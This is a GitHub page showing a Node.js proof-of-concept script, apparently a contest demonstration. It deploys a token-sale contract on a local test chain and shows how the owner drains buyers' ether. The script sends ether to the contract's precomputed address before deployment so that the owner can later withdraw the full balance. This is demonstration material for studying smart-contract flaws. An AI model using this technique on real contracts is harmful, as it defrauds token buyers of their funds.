-
Notifications
You must be signed in to change notification settings - Fork 0
/
Merdetoken.js
158 lines (121 loc) · 4.95 KB
/
Merdetoken.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
'use strict';
var fs = require('fs');
var solc = require('solc');
var ethers = require('ethers');
var TestRPC = require('ethereumjs-testrpc');
// Useful for debugging async code
process.on('unhandledRejection', function(reason, p){
console.log("Possibly Unhandled Rejection at: Promise ", p, " reason: ", reason);
});
// Should we run this code with the exploit enabled?
// /Users/contest> node try-it.out.js [no-exploit]
var enableExploit = (process.argv.length < 3 || process.argv[2] !== 'no-exploit');
// Duration of the presale (in seconds)
var Duration = 20;
var testRPCServer = TestRPC.server();
function runTest(provider, enableExploit) {
// Compile the contract
var sources = {
'Merdetoken.sol': fs.readFileSync('./Merdetoken.sol').toString()
};
var contract = solc.compile({ sources: sources }, 1).contracts['Merdetoken.sol:Merdetoken'];
// These will be filled in during the promises
var tx = null;
var contractAddress = null;
var tokenContract = null;
var seq = Promise.resolve();
// Prepare the deployment transaction and compute future contract address
seq = seq.then(function() {
tx = ethers.Contract.getDeployTransaction(
'0x' + contract.bytecode,
contract.interface,
Duration
);
tx.gasPrice = 20000000000;
tx.gasLimit = 1500000
tx.from = provider.accounts[0].address;
return provider.accounts[0].getTransactionCount();
}).then(function(nonce) {
tx.nonce = nonce;
contractAddress = ethers.utils.getContractAddress(tx);
// The token contract (with the ICO owner as the signer)
tokenContract = new ethers.Contract(contractAddress, contract.interface, provider.accounts[0]);
});
// The sinister part...
if (enableExploit) {
seq = seq.then(function() {
var wei = ethers.utils.parseEther('3.14159');
return provider.accounts[1].send(contractAddress, wei);
});
}
// Deploy the contract
seq = seq.then(function() {
return provider.accounts[0].sendTransaction(tx);
});
// Buy tokens with accounts 3 through 9 (the legitimate users)
seq = seq.then(function() {
var buyTokens = [];
var weiE = ethers.utils.parseEther('2.71828')
for (var i = 3; i < 9; i++) {
buyTokens.push(provider.accounts[i].send(contractAddress, weiE.mul(i)));
}
return Promise.all(buyTokens);
});
// Quick check on the balance and total supply
// If the balance is larger than the total supply, our exploit is working
seq = seq.then(function() {
return Promise.all([
provider.getBalance(contractAddress),
tokenContract.totalSupply()
]).then(function(result) {
console.log('If the balance is larger than the total supply, attack is successful:');
console.log(' - Balance: ', ethers.utils.formatEther(result[0]));
console.log(' - Total Supply: ', ethers.utils.formatEther(result[1].totalSupply));
});
});
// Wait until the ICO has activated, after Duration seconds
seq = seq.then(function() {
console.log('Waiting for ' + Duration + ' seconds... (so the ICO presale ends and it activates)');
return new Promise(function(resolve) {
setTimeout(function() {
resolve();
}, (Duration + 4) * 1000);
});
});
// Attack! (check the balance before and after)
seq = seq.then(function() {
// The balance before
return provider.getBalance(contractAddress);
}).then(function(balance) {
console.log('If the balance after is 0, the attack was successful:');
console.log(' - Balance Before: ', ethers.utils.formatEther(balance));
// Withdraw the whole balance (we should only be able to access a small amount)
return tokenContract.withdraw(balance).catch(function(error) {
console.log(' - Failed to execute attack.');
});
}).then(function() {
// The balance after
return provider.getBalance(contractAddress);
}).then(function(balance) {
console.log(' - Balance After: ', ethers.utils.formatEther(balance));
});
// Shutdown the TestRPC server
seq = seq.then(function() {
testRPCServer.close();
});
}
// Start a TestRPC server and begin the above test
testRPCServer.listen(18549, function(error, blockchain) {
if (error) {
console.log('Error starting TestRPC:', error);
} else {
var provider = new ethers.providers.JsonRpcProvider('http://localhost:18549');
provider.shutdown = function() { testRPCServer.close(); };
provider.accounts = [];
for (var address in blockchain.accounts) {
var account = blockchain.accounts[address];
provider.accounts.push(new ethers.Wallet(account.secretKey, provider));
}
runTest(provider, enableExploit);
}
});